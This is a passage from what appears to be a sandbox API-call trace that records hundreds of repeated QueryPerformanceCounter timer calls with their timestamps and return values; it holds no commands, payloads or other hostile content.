out: lpPerformanceCount=0x533f928*=23844298476) returned 1 [0235.156] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23845845600) returned 1 [0235.156] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23845862480) returned 1 [0235.187] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23848953478) returned 1 [0235.187] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23848967112) returned 1 [0235.203] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23850536208) returned 1 [0235.203] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23850551709) returned 1 [0235.234] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23853641801) returned 1 [0235.234] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23853651521) returned 1 [0235.249] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23855196429) returned 1 [0235.249] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23855209022) returned 1 [0235.265] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23856770979) returned 1 [0235.265] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23856783416) returned 1 [0235.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23858327384) returned 1 [0235.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23858340472) returned 1 [0235.312] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23861453020) returned 1 [0235.312] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23861465767) returned 1 [0235.328] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23863049288) returned 1 [0235.328] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23863060440) returned 1 [0235.359] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23866143828) returned 1 [0235.359] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23866155726) returned 1 [0235.416] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23871884439) returned 1 [0235.416] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23871897296) returned 1 [0235.417] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23871918102) returned 1 [0235.417] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23871925349) returned 1 [0235.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23873969252) returned 1 [0235.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23873982027) returned 1 [0235.453] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23875519465) returned 1 [0235.453] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23875529803) returned 1 [0235.468] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23877075703) returned 1 [0235.468] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23877087422) returned 1 [0235.499] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23880196461) returned 1 [0235.499] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23880209108) returned 1 [0235.515] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23881778562) returned 1 [0235.515] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23881790126) returned 1 [0235.531] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23883325889) returned 1 [0235.531] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23883338503) returned 1 [0235.562] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23886444636) returned 1 [0235.562] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23886455774) returned 1 [0235.578] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23888020809) returned 1 [0235.578] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23888159102) returned 1 [0235.594] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23889643817) returned 1 [0235.594] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23889656682) returned 1 [0235.610] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23891296482) returned 1 [0235.610] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23891310224) returned 1 [0235.640] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23894271770) returned 1 [0235.640] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23894284354) returned 1 [0235.656] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23895842309) returned 1 [0235.656] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23895853356) returned 1 [0235.687] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23898953996) returned 1 [0235.687] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23898966138) returned 1 [0235.703] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23900521270) returned 1 [0235.703] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23900533243) returned 1 [0235.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23902087720) returned 1 [0235.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23902100716) returned 1 [0235.749] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23905209519) returned 1 [0235.750] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23905222402) returned 1 [0235.765] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23906790792) returned 1 [0235.765] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23906802183) returned 1 [0235.797] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23909950151) returned 1 [0235.797] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23909964576) returned 1 [0235.827] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23912979213) returned 1 [0235.827] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23912997897) returned 1 [0235.858] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23916082342) returned 1 [0235.858] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23916094607) returned 1 [0235.889] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23919207583) returned 1 [0235.890] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23919220015) returned 1 [0235.921] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23922347973) returned 1 [0235.921] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23922360678) returned 1 [0235.952] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23925442949) returned 1 [0235.952] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23925455122) returned 1 [0235.973] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23927612697) returned 1 [0235.974] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23927625278) returned 1 [0235.989] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23929185120) returned 1 [0235.989] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23929197857) returned 1 [0236.021] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23932334586) returned 1 [0236.021] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23932347883) returned 1 [0236.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23933874658) returned 1 [0236.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23933887127) returned 1 [0236.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23936993864) returned 1 [0236.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23937004069) returned 1 [0236.099] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23940123779) returned 1 [0236.099] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23940136520) returned 1 [0236.114] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23941676552) returned 1 [0236.114] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23941689212) returned 1 [0236.130] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23943241352) returned 1 [0236.130] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23943255451) returned 1 [0236.161] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23946366330) returned 1 [0236.161] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23946381149) returned 1 [0236.177] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23947939682) returned 1 [0236.177] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23947954821) returned 1 [0236.208] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23951059217) returned 1 [0236.208] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23951073101) returned 1 [0236.224] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23952619779) returned 1 [0236.224] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23952634635) returned 1 [0236.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23955734255) returned 1 [0236.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23955747336) returned 1 [0236.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23958868858) returned 1 [0236.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23958884310) returned 1 [0236.302] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23960458770) returned 1 [0236.302] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23960472091) returned 1 [0236.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23963556258) returned 1 [0236.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23963569677) returned 1 [0236.364] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23966689945) returned 1 [0236.364] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23966703482) returned 1 [0236.418] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23972027898) returned 1 [0236.418] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23972043048) returned 1 [0236.418] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23972070076) returned 1 [0236.418] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23972078870) returned 1 [0236.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23974482313) returned 1 [0236.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23974495397) returned 1 [0236.458] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23976053149) returned 1 [0236.458] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23976065975) returned 1 [0236.489] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23979181225) returned 1 [0236.489] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23979194053) returned 1 [0236.521] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23982329075) returned 1 [0236.521] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23982343538) returned 1 [0236.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23983869399) returned 1 [0236.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23983884183) returned 1 [0236.567] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23986984266) returned 1 [0236.567] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23986998022) returned 1 [0236.583] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23988555616) returned 1 [0236.583] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23988568542) returned 1 [0236.615] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23991769458) returned 1 [0236.615] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23991782378) returned 1 [0236.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23993262620) returned 1 [0236.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23993276538) returned 1 [0236.661] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23996359868) returned 1 [0236.661] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23996372686) returned 1 [0236.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23999492031) returned 1 [0236.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23999506264) returned 1 [0236.723] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24002608909) returned 1 [0236.724] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24002622074) returned 1 [0236.739] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24004198950) returned 1 [0236.739] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24004212310) returned 1 [0236.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24005740526) returned 1 [0236.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24005754936) returned 1 [0236.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24008859804) returned 1 [0236.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24008872856) returned 1 [0236.802] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24010429071) returned 1 [0236.802] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24010441608) returned 1 [0236.817] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24011991120) returned 1 [0236.817] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24012004555) returned 1 [0236.849] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24015129325) returned 1 [0236.849] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24015141802) returned 1 [0236.880] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24018242237) returned 1 [0236.880] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24018256767) returned 1 [0236.911] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24021360227) returned 1 [0236.911] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24021373046) returned 1 [0236.927] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24022935537) returned 1 [0236.927] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24022949815) returned 1 [0236.942] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24024491894) returned 1 [0236.942] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24024504052) returned 1 [0236.973] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24027612517) returned 1 [0236.974] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24027625851) returned 1 [0237.010] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24031233490) returned 1 [0237.010] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24031247186) returned 1 [0237.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24033870143) returned 1 [0237.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24033883511) returned 1 [0237.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24037003956) returned 1 [0237.068] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24037016840) returned 1 [0237.098] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24040108014) returned 1 [0237.099] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24040120847) returned 1 [0237.130] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24043234347) returned 1 [0237.130] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24043246709) returned 1 [0237.145] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24044806083) returned 1 [0237.146] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24044820735) returned 1 [0237.161] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24046359952) returned 1 [0237.161] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24046372636) returned 1 [0237.177] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24047961738) returned 1 [0237.177] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24047977013) returned 1 [0237.208] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24051056414) returned 1 [0237.208] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24051069075) returned 1 [0237.223] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24052612584) returned 1 [0237.224] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24052625539) returned 1 [0237.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24055734259) returned 1 [0237.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24055746834) returned 1 [0237.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24058886037) returned 1 [0237.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24058900849) returned 1 [0237.302] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24060429306) returned 1 [0237.302] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24060442288) returned 1 [0237.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24063562750) returned 1 [0237.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24063577386) returned 1 [0237.364] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24066676539) returned 1 [0237.364] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24066689351) returned 1 [0237.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24074501814) returned 1 [0237.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24074514611) returned 1 [0237.443] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24074535044) returned 1 [0237.443] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24074542239) returned 1 [0237.473] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24077604278) returned 1 [0237.473] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24077615189) returned 1 [0237.505] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24080734109) returned 1 [0237.505] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24080745468) returned 1 [0237.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24083859250) returned 1 [0237.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24083871635) returned 1 [0237.552] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24085437203) returned 1 [0237.552] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24085450740) returned 1 [0237.583] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24088555045) returned 1 [0237.583] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24088567760) returned 1 [0237.614] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24091680268) returned 1 [0237.614] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24091693278) returned 1 [0237.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24093229129) returned 1 [0237.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24093241538) returned 1 [0237.647] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24094939490) returned 1 [0237.647] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24094952906) returned 1 [0237.677] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24097926613) returned 1 [0237.677] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24097939346) returned 1 [0237.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24099484533) returned 1 [0237.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24099497989) returned 1 [0237.708] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24101059826) returned 1 [0237.708] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24101072843) returned 1 [0237.739] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24104185784) returned 1 [0237.739] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24104198450) returned 1 [0237.770] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24107303375) returned 1 [0237.771] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24107316427) returned 1 [0237.802] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24110426045) returned 1 [0237.802] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24110438583) returned 1 [0237.817] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24111987029) returned 1 [0237.817] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24111998392) returned 1 [0237.848] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24115106798) returned 1 [0237.849] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24115119861) returned 1 [0237.864] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24116677146) returned 1 [0237.864] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24116688672) returned 1 [0237.895] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24119801224) returned 1 [0237.895] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24119814725) returned 1 [0237.911] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24121360876) returned 1 [0237.911] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24121374203) returned 1 [0237.942] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: 